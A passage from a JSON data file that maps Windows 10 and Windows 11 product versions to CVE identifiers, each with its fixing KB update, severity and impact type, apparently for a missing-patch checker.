Disclosure"},{"cve":"CVE-2017-8471","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025338","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038781","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038781","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038781","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038781","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038781","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038781","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056893","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056893","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056893","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0821","kb":"4074596","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0822","kb":"4074596","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103716","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0832","kb":"4074596","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0886","kb":"4103716","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088786","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088786","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088786","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0952","kb":"4343892","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0975","kb":"4093111","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8174","kb":"4103716","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8410","kb":"4457132","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462922","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462922","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457132","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462922","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467680","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467680","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467680","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103716","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480962","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480962","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487018","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480962","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480962","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480962","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480962","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480962","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493475","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493475","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493475","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493475","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493475","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493475","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493475","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503291","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530681","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534306","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537776","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540693","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550930","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556826","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556826","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571692","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571692","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003172","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003172","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-24091","kb":"4601331","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-27094","kb":"5001340","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001340","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004950","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005569","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006675","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-30190","kb":"5014710","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-28252","kb":"5025234","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-29336","kb":"5026382","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028186","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041782","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043083","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048703","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-7344","kb":"5050013","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053618","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053618","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053618","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053618","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055547","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058387","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058387","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060998","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066837","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062561","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063889","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063889","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 for x64-based Systems":[{"cve":"CVE-2015-2433","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3081444","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3081455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3081455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3081455","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3081455","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3081455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3097617","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3097617","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3097617","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3105213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3105213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3105213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3105213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3116869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3116869","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6168","kb":"3116869","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3124266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3124266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3124266","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3124266","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3135174","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3135174","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3140745","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0151","kb":"3147461","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2016-0189","kb":"3156387","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3163017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3192440","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3185611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7200","kb":"3198585","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7201","kb":"3198585","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3198585","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3198585","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4012606","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4042895","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11823","kb":"4042895","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11830","kb":"4048956","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11885","kb":"4053581","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022727","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8470","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025338","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038781","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038781","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038781","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038781","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038781","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038781","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056893","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056893","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056893","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0821","kb":"4074596","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0822","kb":"4074596","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103716","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0832","kb":"4074596","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0886","kb":"4103716","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088786","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088786","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088786","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0952","kb":"4343892","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0975","kb":"4093111","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8174","kb":"4103716","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8410","kb":"4457132","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462922","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462922","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457132","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462922","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467680","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467680","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467680","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103716","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480962","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480962","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487018","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480962","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480962","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480962","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480962","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480962","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493475","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493475","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493475","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493475","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493475","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493475","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493475","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503291","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530681","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534306","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537776","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540693","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550930","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556826","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556826","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571692","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571692","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003172","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003172","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-24091","kb":"4601331","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-27094","kb":"5001340","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001340","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004950","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005569","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006675","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-30190","kb":"5014710","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-28252","kb":"5025234","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-29336","kb":"5026382","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028186","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041782","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043083","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048703","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-7344","kb":"5050013","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053618","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053618","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053618","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053618","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055547","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058387","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058387","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060998","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066837","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062561","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063889","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063889","severity":"Important","impact":"Elevation of Privilege"}],"Windows 11 Version 22H2 for ARM64-based Systems":[{"cve":"CVE-2021-34527","kb":"5018427","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-45985","kb":"5044285","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-20569","kb":"5029263","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025239","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028185","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032190","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2023-44487","kb":"5031354","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034765","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041585","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043076","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048685","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044285","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5050021","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-21333","kb":"5050021","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-24054","kb":"5053602","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053602","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053602","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053602","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055528","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058405","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058405","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060999","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066793","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062552","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062552","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063875","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063875","severity":"Important","impact":"Elevation of Privilege"}],"Windows 11 Version 22H2 for x64-based Systems":[{"cve":"CVE-2021-34527","kb":"5018427","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-45985","kb":"5044285","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-20569","kb":"5029263","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025239","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028185","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032190","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2023-44487","kb":"5031354","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034765","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041585","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043076","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048685","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044285","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5050021","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-21333","kb":"5050021","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-24054","kb":"5053602","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053602","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053602","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053602","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055528","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058405","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058405","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060999","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066793","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062552","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062552","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063875","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063875","severity":"Important","impact":"Elevation of Privilege"}],"Windows 11 Version 23H2 for ARM64-based Systems":[{"cve":"CVE-2021-45985","kb":"5044285","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-31096","kb":"5073455","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032190","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034765","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041585","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043076","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048685","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044285","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5050021","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-21333","kb":"5050021","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-24054","kb":"5053602","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053602","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053602","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053602","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055528","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058405","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058405","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060999","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066793","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062552","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062552","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063875","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063875","severity":"Important","impact":"Elevation of Privilege"}],"Windows 